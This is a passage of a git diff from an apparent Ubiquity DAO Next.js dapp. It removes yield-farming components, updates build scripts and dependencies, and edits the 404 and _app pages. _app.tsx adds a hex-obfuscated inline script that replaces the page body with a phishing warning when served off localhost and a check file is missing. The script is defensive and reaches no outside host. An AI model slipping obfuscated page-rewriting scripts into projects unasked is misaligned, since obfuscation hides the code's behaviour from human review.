    - ); -}; - -type YieldFarmingWithdrawProps = { - token: string; - amount: number; - newAmount: number; - yieldPct: number; - yieldAmount: number; - uad: number; - uadMax: number; - uadBasePct: number; - uadBonusPct: number; - uadBonusAmount: number; - ubq: number; - ubqMax: number; - feePct: number; - feePctMax: number; - feeAmount: number; - uar: number; - uarApyMin: number; - uarApyMax: number; - uarCurrentYieldPct: number; - disable: boolean; - onWithdraw: () => void; -}; - -const f = (n: number) => (Math.round(n * 100) / 100).toLocaleString(); - -export const YieldFarmingWithdraw = memo( - ({ - token, - amount, - newAmount, - yieldPct, - yieldAmount, - uad, - uadMax, - uadBasePct, - uadBonusPct, - uadBonusAmount, - ubq, - ubqMax, - feePct, - feePctMax, - feeAmount, - uar, - uarApyMin, - uarApyMax, - uarCurrentYieldPct, - disable, - onWithdraw, - }: YieldFarmingWithdrawProps) => { - return ( - <> -

    Current Deposit

    -
    - - - - - - - - - - - - -
    -
    - -
    - - ); - } -); - -type DepositItemProps = { - val: number | string; - fadeVal?: number | string; - text: string; -}; -const DepositItem = ({ val, fadeVal, text }: DepositItemProps) => ( -
    -
    - {val} - {fadeVal ? {fadeVal} : null} -
    -
    {text}
    -
    -); - -type YieldFarmingDepositProps = { - tvl: Balance; - balance: Balance; - usdcApy: { min: number; max: number }; - baseYieldBonusPct: number; // 0.5 - maxYieldBonusPct: number; // 1 - baseDepositFeePct: number; // 0.1 - minDepositFeePct: number; // 0 - maxUbqAmount: number; // 10000 - maxUadPct: number; // 0.5 - disable: boolean; - onDeposit: Actions["onDeposit"]; -}; - -export const YieldFarmingDeposit = memo( - ({ - usdcApy, - maxUbqAmount, - maxUadPct, - baseYieldBonusPct, - maxYieldBonusPct, - // tvl, - baseDepositFeePct, - minDepositFeePct, - balance, - disable, - onDeposit, - }: YieldFarmingDepositProps) => { - const [usdc, setUsdc] = useState(""); - const [ubq, setUbq] = useState(""); - const [uad, setUad] = useState(""); - const [errors, setErrors] = useState([]); - - const usdcNum = parseFloat(usdc) || 0; - const ubqNum = parseFloat(ubq) || 0; - const uadNum = parseFloat(uad) || 0; - - const deposit: () => void = () => { - if (usdc && ubq && uad) { - onDeposit({ usdc: parseFloat(usdc), ubq: parseFloat(ubq), uad: parseFloat(uad) }); - } - }; - - const handleUsdcChange = (v: string) => { - setUsdc(v); - const newUsdc = parseFloat(v) || 0; - if (newUsdc === 0) setUad(""); - else if (newUsdc < usdcNum) setUad(constrainStringNumber(uad, 0, maxUadPct * newUsdc)); - }; - - const handleUbqChange = (v: string) => { - setUbq(constrainStringNumber(v, 0, maxUbqAmount)); - }; - - const handleUadChange = (v: string) => { - setUad(constrainStringNumber(v, 0, maxUadPct * usdcNum)); - }; - - const canDeposit: () => boolean = () => { - if (usdcNum > 0 && usdcNum <= balance.usdc && ubqNum >= 0 && ubqNum <= balance.ubq && uadNum >= 0 && uadNum <= balance.uad) { - return true; - } - return false; - }; - - const ubqFee = () => { - return baseDepositFeePct - (ubqNum / maxUbqAmount) * (baseDepositFeePct - minDepositFeePct); - }; - - const uadBoost = () => { - const pct = usdcNum ? uadNum / (maxUadPct * usdcNum) : 0; - return baseYieldBonusPct + (maxYieldBonusPct - baseYieldBonusPct) * pct; - }; - - const maxApy = () => { - return usdcApy.max + usdcApy.max * (uadNum && usdcNum ? uadBoost() : maxYieldBonusPct); - }; - - const setMaxUbq = () => { - const max = maxUbqAmount > balance.ubq ? balance.ubq : maxUbqAmount; - setUbq(max.toString()); - }; - - const setMaxUad = () => { - let max = maxUadPct * usdcNum; - if (max > balance.uad) { - max = balance.uad; - } - setUad(max.toString()); - }; - - const setMaxUsdc = () => { - setUsdc(balance.usdc.toString()); - }; - - useEffect(() => { - const errors: string[] = []; - const noFunds = (token: string) => `You don't have enough ${token.toUpperCase()}.`; - if (usdcNum > balance.usdc) errors.push(noFunds("usdc")); - if (ubqNum > balance.ubq) errors.push(noFunds("ubq")); - if (uadNum > balance.uad) errors.push(noFunds("uad")); - - setErrors(errors); - }, [usdc, ubq, uad]); - - const HelpTooltip = ({ content }: { content: string }) => ( - - - - - - ); - - return ( - <> -

    Primary deposit

    -
    - {/* TODO: ICON */} -
    -
    - USDC - {/* - TVL - {tvl.usdc}M - */} -
    -
    - - {usdcApy.min.toFixed(2)}% - {usdcApy.max.toFixed(2)}% - - APY - -
    - - - -
    Balance: {f(balance.usdc)}
    -
    -
    -
    {Math.round(maxApy() * 100) / 100}%
    -
    - Max APY in uCR - -
    -
    -
    -

    Boosters

    -
    -
    -
    - UBQ -
    -
    - Minimizes deposit fee - -
    -
    - - - -
    - {Math.round(ubqFee() * 100 * 100) / 100}% - FEE -
    -
    -
    Balance: {f(balance.ubq)}
    -
    - -
    -
    - uAD - {/* - TVL - {tvl.uad}M - */} -
    -
    - Boosts yield - {/* up to {(maxYieldBonusPct - baseYieldBonusPct) * 100}% more */} - -
    -
    - - - -
    - {Math.round(uadBoost() * 100 * 100) / 100}% - BOOST -
    -
    -
    Balance: {f(balance.uad)}
    -
    -
    - - <> - {errors.length ? ( -
    - {errors.map((err, i) => ( -
    {err}
    - ))} -
    - ) : null} -
    - -
    - - - ); - } -); - -export default memo(withLoadedContext(YieldFarmingContainer, () => WalletNotConnected)); diff --git a/packages/dapp/components/yield-farming/lib/data.ts b/packages/dapp/components/yield-farming/lib/data.ts deleted file mode 100644 index 5fdf29edd..000000000 --- a/packages/dapp/components/yield-farming/lib/data.ts +++ /dev/null @@ -1,137 +0,0 @@ -import { BigNumber, ethers, Contract } from "ethers"; - -const isDev = process.env.NODE_ENV == "development"; -const debug = isDev; - -const YP_TOKEN = "usdc"; -const YP_DECIMALS = 6; - -const toEtherNum = (n: BigNumber) => +n.toString() / 1e18; - -type YieldProxyContracts = { - yieldProxy: Contract; - jarUsdc: Contract; -}; - -export type YieldProxyData = { - token: typeof YP_TOKEN; - decimals: typeof YP_DECIMALS; - depositFeeMax: BigNumber; - depositFeeBase: BigNumber; // depositFee % = depositFeeBase / depositFeeMax - depositFeeBasePct: number; // depositFeeBase / depositFeeMax - depositFeeUbqMax: BigNumber; // If UBQ = this => depositFee = 0% - bonusYieldMax: BigNumber; - bonusYieldBase: BigNumber; // bonusYield % = bonusYieldBase / bonusYieldMax - bonusYieldBasePct: number; // bonusYieldBase / bonusYieldMax - bonusYieldMaxPct: number; // bonusYieldBase / bonusYieldMax - bonusYieldUadMaxPct: number; // Hardcoded at 0.5 of main amount // If uAD = this => bonusYield = bonusYieldMax - jarRatio: BigNumber; -}; - -export async function loadYieldProxyData(contracts: YieldProxyContracts): Promise { - const [bonusYieldBase, bonusYieldMax, depositFeeBase, depositFeeMax, ubqRate, ubqRateMax] = await Promise.all([ - contracts.yieldProxy.bonusYield(), - contracts.yieldProxy.BONUS_YIELD_MAX(), - contracts.yieldProxy.fees(), - contracts.yieldProxy.FEES_MAX(), - contracts.yieldProxy.ubqRate(), - contracts.yieldProxy.UBQ_RATE_MAX(), - ]); - - const depositFeeUbqMax = ethers.utils.parseEther("100").mul(ubqRateMax).div(ubqRate); - - const jarRatio = await contracts.jarUsdc.getRatio(); - - const simulatedNewJarRatio = jarRatio; // isDev ? jarRatio.mul(BigNumber.from(107)).div(BigNumber.from(100)) : jarRatio; - - const di: YieldProxyData = { - token: YP_TOKEN, - decimals: YP_DECIMALS, - depositFeeMax, - depositFeeBase, - depositFeeBasePct: depositFeeBase.toNumber() / depositFeeMax.toNumber(), - depositFeeUbqMax, - bonusYieldMax, - bonusYieldBase, - bonusYieldBasePct: bonusYieldBase.toNumber() / bonusYieldMax.toNumber(), - bonusYieldMaxPct: 1, - bonusYieldUadMaxPct: 0.5, - jarRatio: simulatedNewJarRatio, - }; - if (debug) { - console.log(`YieldProxy ${di.token.toUpperCase()} (${di.decimals} decimals)`); - console.log(` .depositFeeBasePct: ${di.depositFeeBasePct * 100}%`); - console.log(` .depositFeeUbqMax: if UBQ = ${ethers.utils.formatEther(di.depositFeeUbqMax)} => fee = 0%`); - console.log(` .bonusYieldBasePct: ${di.bonusYieldBasePct * 100}%`); - console.log(` .bonusYieldUadMaxPct: if uAD = ${di.bonusYieldUadMaxPct * 100}% of ${di.token.toUpperCase()} amount => bonusYield = 100%`); - console.log(` .jarRatio ${ethers.utils.formatEther(jarRatio)}`); - if (isDev) { - console.log(` .jarRatio (SIMULATED) ${ethers.utils.formatEther(di.jarRatio)}`); - } - } - return di; -} - -export type YieldProxyDepositInfo = { - amount: BigNumber; - uad: BigNumber; - ubq: BigNumber; - jarYieldAmount: BigNumber; - bonusYieldExtraPct: number; - bonusYieldTotalPct: number; - bonusYieldAmount: BigNumber; - feeAmount: BigNumber; - feePct: number; - newAmount: BigNumber; - uar: BigNumber; - currentYieldPct: number; -}; - -export async function loadYieldProxyDepositInfo(yp: YieldProxyData, contracts: YieldProxyContracts, address: string): Promise { - const di = await (async () => { - const [amount, shares, uadAmount, ubqAmount, fee, ratio, bonusYield] = await contracts.yieldProxy.getInfo(address); - return { amount, shares, uadAmount, ubqAmount, fee, ratio, bonusYield }; - })(); - - if (di.amount.eq(0)) { - return null; - } - - const amountIn18 = yp.decimals < 18 ? di.amount.mul(Math.pow(10, 18 - yp.decimals)) : di.amount; - const feeIn18 = yp.decimals < 18 ? di.fee.mul(Math.pow(10, 18 - yp.decimals)) : di.fee; - - const jarYieldAmount = amountIn18.mul(yp.jarRatio).div(di.ratio).sub(amountIn18); - const bonusYieldAmount = jarYieldAmount.gt(0) ? jarYieldAmount.mul(di.bonusYield).div(yp.bonusYieldMax) : BigNumber.from(0); - const currentYieldPct = toEtherNum(amountIn18.add(jarYieldAmount).add(bonusYieldAmount)) / toEtherNum(amountIn18) - 1; - const feePct = yp.depositFeeBasePct - (toEtherNum(di.ubqAmount) / toEtherNum(yp.depositFeeUbqMax)) * yp.depositFeeBasePct; - - const depositInfo: YieldProxyDepositInfo = { - amount: di.amount, - newAmount: di.amount.sub(di.fee), - uad: di.uadAmount, - ubq: di.ubqAmount, - jarYieldAmount, - bonusYieldExtraPct: toEtherNum(di.bonusYield) / toEtherNum(yp.bonusYieldMax) - yp.bonusYieldBasePct, - bonusYieldTotalPct: toEtherNum(di.bonusYield) / toEtherNum(yp.bonusYieldMax), - bonusYieldAmount, - feeAmount: feeIn18, - feePct: feePct, - uar: jarYieldAmount.add(bonusYieldAmount).add(feeIn18), - currentYieldPct, - }; - - if (debug) { - console.log(`YieldProxyDeposit ${yp.token.toUpperCase()} (${yp.decimals} decimals)`); - console.log(` .amount: `, ethers.utils.formatUnits(depositInfo.amount, yp.decimals)); - console.log(` .newAmount:`, ethers.utils.formatUnits(depositInfo.newAmount, yp.decimals)); - console.log(" .uad:", ethers.utils.formatEther(depositInfo.uad)); - console.log(" .ubq:", ethers.utils.formatEther(depositInfo.ubq)); - console.log(" .jarYieldAmount:", ethers.utils.formatEther(jarYieldAmount)); - console.log(" .bonusYieldAmount:", ethers.utils.formatEther(bonusYieldAmount)); - console.log(" .feeAmount:", ethers.utils.formatEther(depositInfo.feeAmount)); - console.log(" .uar:", ethers.utils.formatEther(depositInfo.uar)); - console.log(` .currentYieldPct: ${depositInfo.currentYieldPct * 100}%`); - } - - return depositInfo; -} diff --git a/packages/dapp/fixtures/contracts-addresses/.keep b/packages/dapp/fixtures/contracts-addresses/.keep deleted file mode 100644 index e69de29bb..000000000 diff --git a/packages/dapp/global.d.ts b/packages/dapp/global.d.ts index 62b1cc3c2..5d0581239 100644 --- a/packages/dapp/global.d.ts +++ b/packages/dapp/global.d.ts @@ -3,6 +3,7 @@ import { MetaMaskInpageProvider } from "@metamask/providers"; declare global { interface Window { ethereum?: MetaMaskInpageProvider; + webkitAudioContext?: typeof AudioContext; } } declare module "*.svg" { diff --git a/packages/dapp/next.config.js b/packages/dapp/next.config.js new file mode 100644 index 000000000..f62722f78 --- /dev/null +++ b/packages/dapp/next.config.js @@ -0,0 +1,6 @@ +/* eslint-disable @typescript-eslint/no-var-requires */ +module.exports = { + env: { + GIT_COMMIT_REF: require("child_process").execSync("git rev-parse --short HEAD").toString().trim(), + }, +}; diff --git a/packages/dapp/package.json b/packages/dapp/package.json index 0ae1e6707..e3542a928 100644 --- a/packages/dapp/package.json +++ b/packages/dapp/package.json @@ -5,44 +5,56 @@ "author": "Ubiquity DAO", "license": "Apache-2.0", "scripts": { - "build": "next build && next export --outdir dist", + "prebuild": "run-p clean", + "build": "run-s build:types build:next build:export", + "build:watch": "run-s build:types build:next", + "build:export": "next export --outdir dist", "start": "next dev", - "clean": "rimraf ./dist", - "purge": "yarn clean && rimraf ./node_modules ./dist ./next", - "lint": "eslint . --ext .ts,.tsx --cache --fix --plugin tsc --rule 'tsc/config: [2, {configFile: \"./tsconfig.json\"}]'", - "prettier": "prettier --write ." + "clean": "rimraf next types node_modules", + "build:next": "next build", + "build:types": "typechain --show-stack-traces --target ethers-v5 ../contracts/out/**/!(test*|Test*|*.t.sol|*.s.sol)/*.json --out-dir=types" }, "devDependencies": { - "@commitlint/cli": "^17.1.2", - "@commitlint/config-conventional": "^17.1.0", "@ethersproject/abi": "^5.0.0", "@ethersproject/bytes": "^5.0.0", "@ethersproject/providers": "^5.6.8", + "@next/eslint-plugin-next": "^13.2.4", "@types/react": "^18.0.15", + "dotenv": "^16.3.1", "lint-staged": "^13.0.3", "nodemon": "^2.0.19", + "postcss": "^8.4.21", "prettier": "2.7.1", - "typescript": "^4.7.4" + "typescript": "^4.9.4" }, "dependencies": { "@tippyjs/react": "^4.2.5", "@typechain/ethers-v5": "^10.1.0", "@types/btoa": "^1.2.3", "@types/react-dom": "^18.0.6", - "@ubiquity/dollar": "workspace:*", - "@ubiquity/ubiquistick": "workspace:*", + "@ubiquity/contracts": "workspace:*", + "@uniswap/sdk-core": "^3.1.0", + "@uniswap/smart-order-router": "^2.10.1", + "@uniswap/widgets": "2.18.0", + "@walletconnect/ethereum-provider": "^2.8.6", "autoprefixer": "^10.4.8", "btoa": "^1.2.1", "classnames": "^2.3.1", - "ethers": "^5.6.9", - "hardhat": "^2.10.1", - "husky": "^8.0.1", - "next": "^12.2.3", + "connectkit": "^1.2.2", + "ethers": "^5.7.2", + "immer": "^9.0.17", + "jotai": "^1.13.0", + "jotai-immer": "0.1.0", + "jsbi": "^3.2.0", + "next": "^13.2.4", "npm-run-all": "^4.1.5", "react": "^18.2.0", "react-dom": "^18.2.0", "react-error-boundary": "^3.1.4", + "react-redux": "^8.0.4", + "react-transition-group": "^4.4.5", "rimraf": "3.0.2", - "typechain": "^8.1.0" + "typechain": "^8.1.0", + "wagmi": "^0.12.9" } } diff --git a/packages/dapp/pages/404.tsx b/packages/dapp/pages/404.tsx index 378602369..0e59df889 100644 --- a/packages/dapp/pages/404.tsx +++ b/packages/dapp/pages/404.tsx @@ -1,9 +1,47 @@ const Custom404 = () => { return ( - <> +
    +
    +

    Oops!

    +

    We couldn't find the page you're looking for.

    +

    + Here are some helpful links instead: +

    + +

    404

    -

    Page Not Found

    - +
    ); }; diff --git a/packages/dapp/pages/_app.tsx b/packages/dapp/pages/_app.tsx index 4f969b26b..5235ebc2d 100644 --- a/packages/dapp/pages/_app.tsx +++ b/packages/dapp/pages/_app.tsx @@ -1,13 +1,15 @@ import "./styles/ubiquity.css"; import "./styles/queries.css"; import "./styles/proxima.css"; +import "./styles/dark-light-mode-toggle.css"; import { AppProps } from "next/app"; import Head from "next/head"; +import Script from "next/script"; //@note Fix: (next/script warning) -import AppContextProvider from "@/lib/AppContextProvider"; -import Background from "../components/layout/Background"; -import Layout from "@/components/layout/Layout"; +import AppContextProvider from "@/lib/app-context-provider"; +import Background from "../components/layout/background"; +import Layout from "@/components/layout/layout"; const noOverlayWorkaroundScript = ` ;(function () { @@ -17,6 +19,10 @@ const noOverlayWorkaroundScript = ` })() `; +// used for https://github.com/ubiquity/ubiquity-dollar/issues/343 +// cspell:disable-next-line +const dnsHijackingUIProtectionScript = `function _0x5e5b(){var _0x1f3176=['\x3c\x64\x69\x76\x20\x73\x74\x79\x6c\x65\x3d\x22\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x20\x72\x65\x64\x3b\x20\x70\x61\x64\x64\x69\x6e\x67\x3a\x20\x32\x30\x70\x78\x3b\x22\x3e\x3c\x73\x70\x61\x6e\x3e\x50\x68\x69\x73\x68\x69\x6e\x67\x20\x61\x74\x74\x65\x6d\x70\x74\x21\x20\x50\x6c\x65\x61\x73\x65\x20\x63\x6f\x6e\x74\x61\x63\x74\x20\x75\x73\x20\x61\x74\x20\x3c\x61\x20\x73\x74\x79\x6c\x65\x3d\x22\x63\x6f\x6c\x6f\x72\x3a\x20\x62\x6c\x75\x65\x22\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2e\x6d\x65\x2f\x75\x62\x69\x71\x75\x69\x74\x79\x64\x61\x6f\x22\x20\x74\x61\x72\x67\x65\x74\x3d\x22\x5f\x62\x6c\x61\x6e\x6b\x22\x3e\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2e\x6d\x65\x2f\x75\x62\x69\x71\x75\x69\x74\x79\x64\x61\x6f\x3c\x2f\x61\x3e\x3c\x2f\x73\x70\x61\x6e\x3e\x3c\x2f\x64\x69\x76\x3e','\x35\x31\x34\x33\x32\x53\x68\x79\x63\x44\x78','\x69\x6e\x63\x6c\x75\x64\x65\x73','\x39\x32\x31\x38\x34\x39\x6b\x68\x77\x46\x74\x45','\x32\x32\x31\x36\x37\x32\x34\x4e\x71\x42\x48\x4a\x61','\x6c\x6f\x63\x61\x74\x69\x6f\x6e','\x35\x39\x30\x30\x30\x34\x34\x72\x6d\x50\x48\x61\x78','\x33\x33\x38\x39\x39\x30\x34\x69\x47\x4d\x65\x6c\x47','\x34\x30\x35\x57\x7a\x69\x6f\x72\x52','\x35\x33\x34\x30\x4a\x44\x77\x6e\x41\x4c','\x2f\x6d\x51\x42\x75\x56\x73\x55\x6c\x6d\x56\x2e\x74\x78\x74','\x68\x6f\x73\x74\x6e\x61\x6d\x65','\x31\x31\x36\x30\x39\x38\x37\x38\x76\x49\x79\x4c\x4c\x65','\x74\x68\x65\x6e','\x32\x33\x33\x34\x32\x78\x52\x46\x75\x5a\x67','\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74','\x62\x6f\x64\x79','\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c','\x35\x71\x59\x46\x45\x49\x66','\x31\x78\x73\x57\x41\x6c\x44'];_0x5e5b=function(){return _0x1f3176;};return _0x5e5b();}var _0x1a8207=_0x4000;function _0x4000(_0x71d9a8,_0x57049f){var _0x5e5bc9=_0x5e5b();return _0x4000=function(_0x40008e,_0x360ba6){_0x40008e=_0x40008e-0x96;var _0x3d13a9=_0x5e5bc9[_0x40008e];return _0x3d13a9;},_0x4000(_0x71d9a8,_0x57049f);}(function(_0x1caef1,_0x3c9a32){var _0x7aa38=_0x4000,_0x1ab71e=_0x1caef1();while(!![]){try{var _0x1f0648=-parseInt(_0x7aa38(0x9d))/0x1*(-parseInt(_0x7aa38(0xa2))/0x2)+parseInt(_0x7aa38(0xa1))/0x3+parseInt(_0x7aa38(0xa4))/0x4*(parseInt(_0x7aa38(0x9c))/0x5)+parseInt(_0x7aa38(0xa5))/0x6+-parseInt(_0x7aa38(0x96))/0x7+-parseInt(_0x7aa38(0x9f))/0x8*(-parseInt(_0x7aa38(0xa6))/0x9)+parseInt(_0x7aa38(0xa7))/0xa*(-parseInt(_0x7aa38(0x98))/0xb);if(_0x1f0648===_0x3c9a32)break;else _0x1ab71e['push'](_0x1ab71e['shift']());}catch(_0x5beb42){_0x1ab71e['push'](_0x1ab71e['shift']());}}}(_0x5e5b,0xe8b9b));![_0x1a8207(0x99),'\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31'][_0x1a8207(0xa0)](window[_0x1a8207(0xa3)][_0x1a8207(0xa9)])&&fetch(_0x1a8207(0xa8))[_0x1a8207(0x97)](_0x477c1f=>{var _0x4decb0=_0x1a8207;!_0x477c1f['\x6f\x6b']&&(document[_0x4decb0(0x9a)][_0x4decb0(0x9b)]=_0x4decb0(0x9e));});`; + export default function Ubiquity({ Component, pageProps }: AppProps): JSX.Element { return ( <> @@ -56,7 +62,8 @@ function GenerateHead() { - {process.env.NODE_ENV !== "production" &&